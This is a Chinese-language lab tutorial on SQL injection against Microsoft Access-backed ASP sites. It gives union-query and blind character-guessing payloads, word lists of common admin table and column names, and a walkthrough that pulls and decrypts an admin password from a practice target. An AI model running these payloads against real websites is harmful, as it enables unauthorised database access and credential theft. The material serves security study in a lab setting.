一.基本概念
Microsoft Office Access是由微软发布的关系数据库管理系统。它结合了 Microsoft Jet Database Engine 和 图形用户界面两项特点,是 Microsoft Office 的系统程序之一。
Access数据库跟mysql、mssql、Oracle等数据库不一样,它就是一个独立的数据库,并不像mysql这些数据库有自带的数据库(mysql中的information_schema),所以我们在进行注入的时候需要用到不一样的方法。
常见语言和数据库搭配:
- asp+access
- php+mysql
- aspx+mssql
- jsp+mssql,Oracle
- python+mangodb,mysql
二.靶场搭建
将压缩包xxf5.0.3.4.zip解压后,然后将解压后的文件复制到windows7虚拟机进行安装,然后将leichinews.zip解压,放到wwwroot目录里,在浏览器访问即可。
三.攻击流程
方法1:联合查询
1.判断注入点
一般来说单引号、减号、and等就可以判断是否存在注入(查看是否返回错误信息)
-
and语句(相同字符型不同数字型)
-
减号判断(相同数字型不同字符型)
2.判断列数
-
使用order by语句
-
字符型
- -1' order by 3%23:正常
- -1' order by 5%23:不正常
-
数字型
- -1 order by 11:正常
- -1 order by 22:不正常
-
3.判断回显位置
常见表名
admin,a_admin,x_admin,m_admin,adminuser,admin_user,article_admin,administrator,m
anage,manager,member,memberlist,user,users,Manage_User,user_info,admin_userinfo,
UserGroups,user_list,login,Friend,zl,movie,news,password,clubconfig,config,company,book,art,dv_admin,userinfo
构造语句:-1 union select 1,2,3,4,5,6,7,8,9,10,11 from admin
-
mysql数据库中union select 后面不需要跟上from+表名,access数据库中需要给一个表名,但是由于Access没有数据库的概念,所有的表都是在同一个数据库下。所以,我们不用去判断当前的数据库名,并且access数据库中也不存在 database() 函数。
-
知道存在admin表,并且回显位置在2,3位
-
PS:from+表名,返回正常则说明有该表存在,返回错误则说明没有该表。
4.判断列名
常见列名
username,adminusername,admin_username,adminname,admin_name,admin,adminuser,admin_user,usrname,usr_name,user_admin,password,admin_password,administrator,administrators,adminpassword,adminpwd,admin_pwd,adminpass,admin_pass,usrpass,usr_pass,user,name,pass,userpass,user_pass,userpassword,user_password,pwd,userpwd,user_pwd,useradmin,pword,p_word,
pass-wd,yonghu,id,uid,userid,user_id,adminid,admin_id,login_name
构造语句:-1 union select 1,admin,password,4,5,6,7,8,9,10,11 from admin
-
-
成功得到账号密码,接下来可以登录后台,但是发现利用得到的账号密码无法登录,这是因为得到的password字段是经过了加密,使用"雷驰加密解密"工具解密得到原文为admin
方法2:逐字猜解
1.猜表名
构造语句:-1 and exists (select * from admin) 页面正常说明存在admin表
2.猜列名
构造语句:-1 and exists (select admin from admin) 页面正常,说明存在admin表里存在名为admin的列
3.猜字段内容长度
构造语句:-1 and (select top 1 len(admin) from admin)=5
- top 1为查询结果只显示首条记录。
- len为获取长度
4.获取字段内容
-
获取字段内容第一位:-1 and (select top 1 asc(mid(admin,1,1)) from admin)=97页面正常则说明第一位的ASCII码值为97也就是a
- mid(列名,起始位置,要返回的字符数)
-
获取字段内容第二位:-1 and (select top 1 asc(mid(admin,2,1)) from admin)=97